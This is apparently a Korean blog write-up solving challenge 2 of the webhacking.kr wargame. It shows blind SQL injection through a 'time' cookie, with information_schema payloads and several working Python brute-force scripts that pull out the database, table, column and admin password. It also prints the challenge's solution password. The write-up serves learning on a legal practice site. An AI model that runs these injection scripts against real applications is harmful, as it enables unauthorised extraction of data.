power-girl0-0

[webhacking.kr - old] 2번 본문

War game/webhacking.kr

[webhacking.kr - old] 2번

power-girl0-0 2021. 6. 10. 18:05
728x90

주소 : https://webhacking.kr/old.php

 

Webhacking.kr

 

webhacking.kr


 [ 풀이 ] 

해당 페이지에서 입력창, 하이퍼링크 등이 없으니, 소스코드를 살펴보았다.

주석처리로, admin.php페이지가 존재한다는 것을 알려주고 있다.

url에 admin.php로 이동해보았다.

admin.php가 존재하는 것을 확인할 수 있으며, 비밀번호 입력창이 출력되었다.

admin.php 소스코드를 확인한 결과, 추출할 만한 것이 없는 것으로 예측되어 쿠키값을 확인해보았다.

 

time이라는 쿠키가 존재하고 있다!!

그러고 보니, 위 소스코드에서 확인했을 때, 현재시간이 주석으로 처리되어있던 것이 생각난다!! ( ㅇㅁㅇ;; )

 

그럼 time이라는 쿠키값에 1을 입력하고, 해당 페이지를 다시 출력해보자.

?? 갑자기 2070년도로 바뀌고 9시 1초로 바뀌었다.

그럼 이번에는 2를 입력해보자.

뭔가 이상하다!! 초가 2로 바뀌는 것을 확인할 수 있다.

즉, time쿠키의 값은 초단위인가보다..!!

 

이걸로 blind sql injection 공격이 가능하지 않을까..?

참과 거짓에 대해 출력되는지 확인해보기 위해, 쿠키 값을 거짓으로 만들어보았다.

그 결과, 아래와 같이 갑자기 0초로 바꼈다!

결과값이 거짓이면 0초로 바꾸고, 참일 경우 1초로 바뀌는 것을 알 수 있다.

 

현재, 컬럼명, 테이블이름 등등 아무것도 아는 것이 없기 때문에 information_schema를 이용하여 데이터베이스 이름 먼저 뽑아보자.


 1. 해당 데이터베이스 안에 몇개의 테이블이 있는지 확인해보자. 

count()함수를 사용하여, time 쿠키의 값에 아래와 같은 명령어를 입력하였다.

(select count(table_name) from information_schema.tables where table_schema=database())

2초로 주석처리가 바뀐 것을 보니, 해당 데이터베이스에 2개의 테이블이 존재하는 것을 알 수 있다.


 2. 테이블 이름의 길이를 구해보자. 

length()를 이용하여, 첫번째 테이블 이름부터 구해보았다.

(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)

첫번째 테이블의 이름 길이가 13개인 것을 알 수 있다.

limit만 바꿔서 두번째 테이블 이름의 길이를 구해보았다.

(select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)

두번째 테이블 이름의 길이가 3개인 것을 확인하였다.


 3. 테이블 이름을 알아내보자. 

두번째 테이블 이름이 3개이므로, 3개부터 무차별 공격을 해보자.

 

① 두번째 테이블 -> 첫번째 글자

(select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 1,1)

1분 48초이므로, 60초+48초인 108의 아스키코드를 보면 된다.  따라서 첫번째 글자는 l이다.

 

② 두번째 테이블 -> 두번째 글자

(select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema=database() limit 1,1)

1분 51초이므로, 60초+51초인 111의 아스키코드를 보면 된다. 따라서 두번째 글자는 o이다.

 

③ 두번째 테이블 -> 세번째 글자

(select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema=database() limit 1,1)

1분 43초이므로, 60초+43초인 103의 아스키코드를 보면 된다. 따라서 세번째 글자는 g이다.

 

즉, 두번째 테이블의 이름은 log인 것을 알 수 있다.


 첫번째 테이블은 13글자이므로, 코드를 작성하여 테이블 이름을 구해보았다. 

구하기 쉽게 데이터베이스 이름 먼저, 구해보았다.

import requests

url = 'https://webhacking.kr/challenge/web-02/'
db = ''
bye = 0

for i in range(1,50):
    if bye == 1:
        break
    for j in range(33,133):
        c = {"cookie":"PHPSESSID=자신의 세션; time=0||if(ord(substr((select database()),{},1))={},1,0)".format(i,j)}
        
        res = requests.get(url, cookies=c)
        #print("i : {}, j : {}".format(i, j))
        if res.text.find("09:00:01") != -1:
            db += chr(j)
            print(db)
            break
            # 문자열을 찾지 못하면 -1을 반환한다.
            # 참이면, 09:00:01로 1초를 반환하고 false일시 0초를 반환한다.
        if j == 132:
            # 마지막까지 갔다는 것은 db이름 끝까지 구해졌다는 의미이다.
            bye=1
            break
print("database : {}".format(db))

데이터베이스 이름이 chall2인 것을 확인할 수 있다.


첫번째 테이블의 이름 구하는 소스코드

import requests

url = "https://webhacking.kr/challenge/web-02/"
first_table=''
bye = 0

for i in range(1,14):
    if bye == 1:
        break
    for j in range(33,133):
        c = {"cookie":"PHPSESSID=자신의 세션;time=0|| if(ord(substr((select table_name from information_schema.tables where table_schema='chall2' limit 0,1),{},1))={},1,0)".format(i,j)}
        res = requests.get(url, cookies=c)
        if res.text.find('09:00:01') != -1 :
            print(chr(j))
            first_table += chr(j)
            break
        if j == 132:
            bye = 1
            break
print("first table name : {}".format(first_table))

첫번째 테이블 이름이 admin_area_pw인 것을 확인할 수 있다.

 

정리해보면, 테이블 두개의 이름은 log와 admin_area_pw이다.

즉, 우리는 admin_area_pw를 살펴보면 답이 나올듯하다!


 3. admin_area_pw테이블의 컬럼 수를 구해보자. 

이건 간단하므로, 그냥 개발도구를 이용하여 알아냈다. 명령어는 아래와 같다.

(select count(column_name) from information_schema.columns where table_name = "admin_area_pw")

위와 같이, 컬럼 개수는 1개인 것으로 보인다!


 4. 컬럼 이름을 알아보자. 

url = "https://webhacking.kr/challenge/web-02/"
bye = 0
column_name=''

for i in range(1, 50):
    if bye == 1:
        break
    for j in range(33, 133):
        c = {"cookie":"PHPSESSID=unsi8vkmgj8qntjpk7nson0mui;time=0|| if(ord(substr((select column_name from information_schema.columns where table_name='admin_area_pw'),{},1))={},1,0)".format(i,j)}
        res = requests.get(url, cookies=c)
        if res.text.find("09:00:01") != -1:
            print(chr(j))
            column_name+=chr(j)
            break
        if j == 132:
            bye = 1
            break
print("column_name : {}".format(column_name))

컬럼의 이름이 pw인 것을 확인하였다.


 5. pw 라는 컬럼에 몇개의 개수가 있는지 확인하였다. 

(select count(pw) from admin_area_pw)

하나의 데이터가 존재하는 것을 확인할 수 있다.


 6. pw 컬럼의 내용을 알아보자. 

import requests

url = "https://webhacking.kr/challenge/web-02/"
bye = 0
pw=''

for i in range(1, 50):
    if bye == 1:
        break
    for j in range(33, 133):
        c = {"cookie":"PHPSESSID=unsi8vkmgj8qntjpk7nson0mui;time=0|| if(ord(substr((select pw from admin_area_pw),{},1))={},1,0)".format(i,j)}
        res = requests.get(url, cookies=c)
        if res.text.find("09:00:01") != -1:
            print(chr(j))
            pw+=chr(j)
            break
        if j == 132:
            bye = 1
            break
print("pw : {}".format(pw))

이렇게 pw가 kudos_to_beistlab이라는 것을 알 수 있다.


이렇게 구한 pw를 admin.php페이지로 이동하여, 입력해주면 문제 클리어~~!!

728x90

'War game > webhacking.kr' 카테고리의 다른 글

[webhacking.kr-old] 5번  (0) 2021.06.19
[ webhacking.kr-old ] 4번  (2) 2021.06.19
[webhacking.kr-old] 3번  (0) 2021.06.18
[webhacking.kr - old] 1번  (0) 2021.06.10
참고자료 모음 ~ㅇ~  (0) 2021.06.10
Comments